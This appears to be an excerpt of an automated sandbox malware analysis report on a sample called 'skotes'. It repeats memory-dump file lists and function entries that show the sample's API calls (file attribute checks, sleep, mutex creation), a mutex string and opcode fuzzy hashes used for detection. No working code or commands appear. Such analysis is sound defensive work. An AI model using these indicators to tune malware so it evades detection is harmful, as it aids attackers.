Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2Q
API String ID: 396266464-1709730413
Opcode ID: 727bb6ebe707b894621ddf53f82b1b854796440685ad17ddc914c730456adca0
Instruction ID: 78faa9c9f8ade1e8e5e0f6042b2a7111b55499b6e5348f5693cc7bb4abba850f
Opcode Fuzzy Hash: 727bb6ebe707b894621ddf53f82b1b854796440685ad17ddc914c730456adca0
Instruction Fuzzy Hash: 15316A717002009BEB08DB7CDD85BEDB7A2AB92314F20861EE414D73D1C77E9991972A

Function 004BA418 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 133sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 004BA41B
Sleep.KERNEL32(00000064,?), ref: 004BA963
CreateMutexA.KERNEL32(00000000,00000000,00513254), ref: 004BA981

Strings

T2Q, xrefs: 004BA970

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2Q
API String ID: 396266464-1709730413
Opcode ID: 16f57ccc9a5ec461d1fd9446ff27433559fe07b2272aae8a50e9b65fc58a05b5
Instruction ID: e64e850726168f2d650720b0ce892bee09d591d466e48602c230e46c992b0834
Opcode Fuzzy Hash: 16f57ccc9a5ec461d1fd9446ff27433559fe07b2272aae8a50e9b65fc58a05b5
Instruction Fuzzy Hash: 5E313971B001009BEB08ABBDDD89BEDB762EB82314F20861EE014973D5C77D5991966A

Function 004BA54D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 132sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 004BA550
Sleep.KERNEL32(00000064,?), ref: 004BA963
CreateMutexA.KERNEL32(00000000,00000000,00513254), ref: 004BA981

Strings

T2Q, xrefs: 004BA970

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2Q
API String ID: 396266464-1709730413
Opcode ID: 09a8ade80857d09c6f07f667d088cf47f3aa3efb9177957372074762e7f66627
Instruction ID: 6dcbfd715707a65f8bb3ff2c06b66e86a7525af44fee63d200e8a412fcd08c7b
Opcode Fuzzy Hash: 09a8ade80857d09c6f07f667d088cf47f3aa3efb9177957372074762e7f66627
Instruction Fuzzy Hash: 44314A717001009BEB18DBBCCD89BEDB762EB82318F24861EE054D73D1CB7D9991972A

Function 004BA682 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 131sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 004BA685
Sleep.KERNEL32(00000064,?), ref: 004BA963
CreateMutexA.KERNEL32(00000000,00000000,00513254), ref: 004BA981

Strings

T2Q, xrefs: 004BA970

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2Q
API String ID: 396266464-1709730413
Opcode ID: de65fc207e61c17f3b5ecf5be26517501897e7b8ce054b861b5a7954098ab9c3
Instruction ID: 391e560cf4fcd169226f5efb4be146c01bc13a693538743809cf168112249458
Opcode Fuzzy Hash: de65fc207e61c17f3b5ecf5be26517501897e7b8ce054b861b5a7954098ab9c3
Instruction Fuzzy Hash: 04314671B041009BEB08DBBCCDC9BEDB762EB82314F24861EE014D73D1CB7D9991966A

Function 004BA7B7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 130sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 004BA7BA
Sleep.KERNEL32(00000064,?), ref: 004BA963
CreateMutexA.KERNEL32(00000000,00000000,00513254), ref: 004BA981

Strings

T2Q, xrefs: 004BA970

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2Q
API String ID: 396266464-1709730413
Opcode ID: 85b8486e1bb4ab5518bf28455a7f840b461fd7086998ba40522ad943b091d67b
Instruction ID: 2a07f4d4ae4f135662b0645ada3e51ee67f79b5749c49e515e03b431ee7161e3
Opcode Fuzzy Hash: 85b8486e1bb4ab5518bf28455a7f840b461fd7086998ba40522ad943b091d67b
Instruction Fuzzy Hash: 2C314A71B04104CBEB18EB7CCD89BEDB762AB82314F20861EE014D77D1DB7D9991972A

Function 004BA960 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,?), ref: 004BA963
CreateMutexA.KERNEL32(00000000,00000000,00513254), ref: 004BA981

Strings

T2Q, xrefs: 004BA970

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
